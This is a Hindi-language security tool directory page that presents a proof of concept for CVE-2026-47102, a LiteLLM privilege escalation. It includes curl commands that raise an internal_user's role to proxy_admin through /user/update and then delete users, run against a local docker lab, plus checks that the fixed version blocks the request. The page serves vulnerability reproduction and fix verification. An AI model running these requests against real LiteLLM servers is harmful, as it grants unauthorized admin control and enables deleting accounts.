Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-47102-PoC — संबंधित कमजोरी को व्यक्तिगत रूप से पुन: उत्पन्न करने का कोड | Kitploit
उपकरण/GitHubGitHub/learner202649/cve-2026-47102-poc
विशेषाधिकार वृद्धिभेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHublearner202649/cve-2026-47102-poc

CVE-2026-47102-PoC

संबंधित कमजोरी को व्यक्तिगत रूप से पुन: उत्पन्न करने का कोड

रिपॉजिटरी देखें
184 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-47102 — LiteLLM Privilege Escalation via /user/update

LiteLLM v1.83.7 (v1.83.10 से पहले के संस्करण) का /user/update एंडपॉइंट उन निम्न-अनुमति वाले उपयोगकर्ताओं को, जिनके पास इस एंडपॉइंट तक पहुँच है, अपने खाते को अपडेट करते समय user_role फ़ील्ड को proxy_admin में बदलने की अनुमति देता है, जिससे अनधिकृत विशेषाधिकार वृद्धि होती है।

फ़ील्डमान
CVECVE-2026-47102
CVSS v3.18.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-863 (ग़लत प्राधिकरण)
प्रभावितLiteLLM < 1.83.10 (v1.83.7 पर पुष्टि)
ठीक किया गयाv1.83.10+ (user_role फ़ील्ड संशोधन अनुमति सत्यापन जोड़ा गया)
प्रकाशित2026-05-21
खोजकर्ताFenix Qiao (13ph03nix) — Obsidian Security
लिंकNVD

विवरण

LiteLLM का /user/update एंडपॉइंट उपयोगकर्ता गुणों को अपडेट करने के लिए उपयोग होता है। प्रभावित संस्करणों में, /user/update का can_user_call_user_update() फ़ंक्शन जाँचता है कि क्या उपयोगकर्ता को निर्दिष्ट उपयोगकर्ता को अपडेट करने का अधिकार है (उपयोगकर्ता को अपने स्वयं के रिकॉर्ड को अपडेट करने की अनुमति देता है), लेकिन संशोधित किए जा सकने वाले फ़ील्ड पर कोई प्रतिबंध नहीं लगाता।

इसका अर्थ है कि कोई भी उपयोगकर्ता जो /user/update एंडपॉइंट तक पहुँच सकता है (जैसे, प्रशासक द्वारा इस रूट की अनुमति दिए गए उपयोगकर्ता, या अन्य भेद्यताओं के माध्यम से इस एंडपॉइंट तक पहुँच प्राप्त करने वाला हमलावर), अपने user_role फ़ील्ड को बदलकर अपनी भूमिका को proxy_admin तक बढ़ा सकता है, और सभी प्रशासनिक एंडपॉइंट तक पूर्ण पहुँच प्राप्त कर सकता है।

हमला श्रृंखला

प्रशासक internal_user के लिए /user/update रूट अनुमति वाली API key बनाता है
  →  internal_user को route-level पहुँच मिलती है
  →  POST /user/update  {"user_id": "...", "user_role": "proxy_admin"}  ← CVE-2026-47102
  →  भूमिका proxy_admin तक बढ़ जाती है
  →  GET /user/list  (प्रशासक पहुँच सत्यापित करें)

CVE-2026-47101 से अंतर

तुलना आइटमCVE-2026-47101CVE-2026-47102
भेद्यता का फोकस/key/generate allowed_routes को सत्यापित नहीं करता/user/update में फ़ील्ड-स्तरीय अनुमति का अभाव
हमले की पूर्व शर्तinternal_user सीधे /key/generate को कॉल कर सकता हैपहले /user/update रूट तक पहुँच प्राप्त करनी होगी
सुधार संस्करणv1.83.14v1.83.10

दोनों भेद्यताओं को श्रृंखला में उपयोग किया जा सकता है: CVE-2026-47101 का उपयोग वाइल्डकार्ड रूट key बनाने ( /user/update तक पहुँचने) के लिए, और CVE-2026-47102 का उपयोग अपनी भूमिका को proxy_admin तक बढ़ाने के लिए।


प्रमाण की अवधारणा

वातावरण तैयार करना

# 1. PostgreSQL + भेद्यता वाला LiteLLM (v1.83.7-stable) प्रारंभ करें
docker compose up -d litellm

# सेवा तैयार होने तक प्रतीक्षा करें (लगभग 10-30 सेकंड)
sleep 15

सेवा चालू होने की पुष्टि

# कंटेनर लॉग जाँचें
docker logs litellm-47102-privesc 2>&1 | tail -10

अपेक्षित आउटपुट में Uvicorn running on http://0.0.0.0:4000 जैसे सफल प्रारंभ लॉग शामिल होने चाहिए।

चरण 1: internal_user खाता बनाना

मास्टर key का उपयोग करके एक निम्न-अनुमति वाला internal_user खाता बनाएँ:

curl -s -X POST http://localhost:4002/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}'

अपेक्षित आउटपुट:

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}

चरण 2: प्रशासक /user/update रूट अनुमति वाली key प्रदान करता है

प्रशासक internal_user के लिए /user/update रूट तक पहुँच वाली API key बनाता है। यह वास्तविक वातावरण में /user/update एंडपॉइंट तक पहुँच प्राप्त करने का विशिष्ट तरीका है:

# मास्टर key का उपयोग करके /user/update रूट वाली key बनाएँ
curl -s -X POST http://localhost:4002/key/generate \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/user/update"], "user_id": "your-user-id"}'

अपेक्षित आउटपुट:

{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/user/update"],"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}

चरण 3: proxy_admin तक विशेषाधिकार वृद्धि (CVE-2026-47102)

पिछले चरण में प्राप्त /user/update रूट अनुमति वाली key का उपयोग करके, उपयोगकर्ता भूमिका को proxy_admin तक बढ़ाएँ:

curl -s -X POST http://localhost:4002/user/update \
  -H "Authorization: Bearer sk-route-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'

अपेक्षित आउटपुट:

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}

⚠️ भेद्यता बिंदु: user_role internal_user से बदलकर proxy_admin हो गया है! /user/update एंडपॉइंट उपयोगकर्ता को अपने स्वयं के user_role फ़ील्ड को संशोधित करने की अनुमति देता है, बिना किसी फ़ील्ड-स्तरीय अनुमति प्रतिबंध के।

चरण 4: प्रशासक पहुँच सत्यापित करें

/user/list एंडपॉइंट के माध्यम से भूमिका वृद्धि की पुष्टि करें (मूल internal_user की API key का उपयोग करके, जिसमें कोई रूट प्रतिबंध नहीं है; proxy_admin बनने पर स्वचालित रूप से प्रशासक पहुँच मिल जाती है):

# proxy_admin तक बढ़ाई गई key का उपयोग करें (मूल internal_user key, बिना रूट प्रतिबंध)
curl -s -X GET http://localhost:4002/user/list \
  -H "Authorization: Bearer sk-internal-user-key" \
  -H "Content-Type: application/json"

अपेक्षित आउटपुट:

{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}

चरण 5: विस्तार — प्रशासक उपयोगकर्ता को हटाना

प्राप्त proxy_admin अनुमति का उपयोग करके, /user/delete के माध्यम से किसी भी उपयोगकर्ता को हटाया जा सकता है (फिर से मूल internal_user की API key का उपयोग करके):

curl -s -X POST http://localhost:4002/user/delete \
  -H "Authorization: Bearer sk-internal-user-key" \
  -H "Content-Type: application/json" \
  -d '{"user_ids": ["user-id-to-delete"]}'

अपेक्षित आउटपुट:

1

एक-क्लिक पुनरुत्पादन

उपरोक्त चरणों को demo.sh में एकीकृत किया गया है, जिसे सीधे निष्पादित किया जा सकता है:

# पूर्ण पुनरुत्पादन (भेद्यता संस्करण + सुधार संस्करण तुलना)
bash demo.sh

सुधार संस्करण सत्यापन

सुधार संस्करण (v1.83.10-stable) प्रारंभ करें और सत्यापित करें कि CVE-2026-47102 ठीक हो गया है:

docker compose --profile fixed up -d litellm-fixed

internal_user बनाएँ:

FIXED_USER_RESP=$(curl -s -X POST http://localhost:4003/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}')
FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))")

/user/update रूट वाली key बनाएँ:

FIXED_ROUTE_KEY=$(curl -s -X POST http://localhost:4003/key/generate \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" | \
  python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")

विशेषाधिकार बढ़ाने का प्रयास करें (अपेक्षा: अवरुद्ध होना चाहिए):

curl -s -X POST http://localhost:4003/user/update \
  -H "Authorization: Bearer $FIXED_ROUTE_KEY" \
  -H "Content-Type: application/json" \
  -d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}"

अपेक्षित आउटपुट (सुधार संस्करण अनधिकृत अनुरोध को अवरुद्ध करता है):

{"error":{"message":"Only proxy admins can modify user roles.","type":"auth_error","code":"403"}}

भेद्यता संस्करण से तुलना:

परीक्षण परिदृश्यभेद्यता संस्करण (v1.83.7)सुधार संस्करण (v1.83.10)
रूट key द्वारा user_role संशोधन✅ सफलतापूर्वक proxy_admin तक बढ़ा❌ अवरुद्ध ("Only proxy admins can modify user roles.")
/user/list तक पहुँच✅ सफलतापूर्वक उपयोगकर्ता सूची प्राप्त❌ अवरुद्ध

मूल कारण विश्लेषण

टूल डाउनलोड करें